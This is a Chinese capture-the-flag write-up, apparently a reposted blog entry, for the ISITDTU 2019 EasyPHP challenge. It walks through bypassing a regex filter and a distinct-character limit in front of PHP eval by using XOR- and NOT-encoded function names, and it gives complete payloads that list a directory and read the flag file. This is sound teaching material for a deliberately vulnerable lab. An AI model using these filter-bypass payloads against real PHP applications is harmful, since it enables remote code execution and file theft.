当前位置:网站首页>[ISITDTU 2019]EasyPHP
[ISITDTU 2019]EasyPHP
2022-06-11 16:08:00 【游戏编程】
最近都在摸鱼,每天不知道干啥,没法静下心来做题,今天做了这个题,最后对于题目理解模棱两可,所以写一写wp来加固一下知识点,把无字母数字rce的内容巩固一下,这道题目涉及的点比较小,想了解更多的绕过姿势还得阅读p神的文章。
打开靶机,看到源码:
<?phphighlight_file(__FILE__);$_ = @$_GET['_'];if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg');eval($_);?>源码意思是绕过两个if,最后eval执行命令
第一个正则匹配:
\x00- 0-9 匹配\x00到空格(\x20),数字0-9
'"`$&.,|[{_defgops\x7F 匹配'"`$&.,|[{_defgops这些字符和DEL(\x7F)字符 第二个正则匹配: count_chars() 函数返回字符串中所用字符的信息(返回一个字符串,包含所有在参数中使用过的不同字符(模式 3)) 也就是说,不一样的字符不能超过13个 先用下面脚本尝试一下满足正则的内置函数,查看后发现无可利用函数 <?php
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
?> 这里尝试取反或者异或绕过,先试一下phpinfo() php -r "echo urlencode(~'phpinfo');" 从得到的信息看到大多数函数都被过滤,这里用print_r(scandir(.))来读取目录 (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1)); 发现不能绕过第二个匹配,为方便替换绕过,使用异或%ff形式结合替换绕过 print_r(scandir(.))为 ((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); 做到这里已经没耐心了 直接看大佬的文章 [ISITDTU 2019]EasyPHP_fmyyy1的博客-CSDN博客 先本地测试一下长度 <?php
$_ = $_GET['_'];
echo strlen(count_chars($_,3)); 发现长度为16,需要设法减少3个 直接利用文章方法进行替换 str = 'acdips'
target = 'ntr'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c)) n = c^d^i t = c^d^s r = a^c^p 利用print_r来说明:(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成: (%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF) 替换最后的payload为 ((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); 测试长度发现为13,符合要求。 payload为 ?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); 发现flag在数组最后一个,用readfile(end(scandir(.)))来读取,构造方法同上 最后payload为: ?_=((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF))); $(function() { setTimeout(function () { var mathcodeList = document.querySelectorAll('.htmledit_views img.mathcode'); if (mathcodeList.length > 0) { var testImg = new Image(); testImg.onerror = function () { mathcodeList.forEach(function (item) { $(item).before('\(' + item.alt + '\)'); $(item).remove(); }) MathJax.Hub.Queue(["Typeset",MathJax.Hub]); } testImg.src = mathcodeList[0].src; } }, 1000) }) ahik1 关注
作者:ahik1
游戏编程,一个游戏开发收藏夹~
如果图片长时间未显示,请使用Chrome内核浏览器。
边栏推荐
- High concurrency pseudo sharing and cache line filling (cache line alignment) (@contained)
- leetcode-141. Circular linked list
- laravel 8 通过 任务调度 实现 数据库备份
- Opengauss version 3.0.0 was officially released, and immediately experience the first lightweight version in the community
- Overview and operation of database dense equivalent query
- Deep separable convolution
- The flat life of older farmers from Beijing to Holland
- Laravel8 implementation of sign in function
- Nat Common | le Modèle linguistique peut apprendre des distributions moléculaires complexes
- [从零开始学习FPGA编程-18]:快速入门篇 - 操作步骤2-6- VerilogHDL时序电路语法分析(以计数器为例)
猜你喜欢

Heartless sword English Chinese bilingual poem 001 Spring outing

Nat Commun|语言模型可以学习复杂的分子分布

3000 words to teach you how to use mot

Data enhancement

Nat Commun|語言模型可以學習複雜的分子分布
![Complete test process [Hangzhou multi tester] [Hangzhou multi tester \wang Sir]](/img/f7/d9bdd667e6e34b99940b9c2ecac061.png)
Complete test process [Hangzhou multi tester] [Hangzhou multi tester \wang Sir]

C# 启动一个外部exe文件,并传入参数

Detailed explanation of opengauss multi thread architecture startup process

Code farming essential SQL tuning (Part 2)

用户界面之工具栏详解-AutoRunner自动化测试工具
随机推荐
Nat commun | language model can learn complex molecular distribution
Basic SQL statement - delete / update
1267_FreeRTOS启动第一个任务接口prvPortStartFirstTask实现分析
Nat Commun|语言模型可以学习复杂的分子分布
面试经典题目:怎么做的性能测试?【杭州多测师】【杭州多测师_王sir】
Interview high frequency algorithm question --- longest palindrome substring
Zhenxiang, Huawei gives n+1 for voluntary resignation
大龄码农从北京到荷兰的躺平生活
List和Set存取元素的差异
[learn FPGA programming from scratch -17]: quick start chapter - operation steps 2-5- VerilogHDL hardware description language symbol system and program framework (both software programmers and hardwa
Import data to the database? Try the copy from stdin statement
Learn how to parse SQL from kernel code
High concurrency pseudo sharing and cache line filling (cache line alignment) (@contained)
postgresql启动过程
Class and__ proto__ Property, the class prototype chain has two inheritance routes
Cloud data management will break the island of storage and the island of team
什么是rs邮票纸?
Elk enterprise log analysis system
PostgreSQL create table
Db4ai: database driven AI